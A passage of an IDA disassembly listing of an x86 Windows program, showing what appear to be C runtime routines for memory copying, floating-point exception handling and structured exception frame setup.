		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A940
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB97C, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43CF54, offset sub_421935
		mov	off_43CF50, eax
		mov	off_43CF58, offset sub_42199B
		mov	off_43CF5C, offset sub_4218DB
		mov	off_43CF60, offset sub_421983
		mov	off_43CF64, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A958
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB9D4
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A95C
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A95C
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
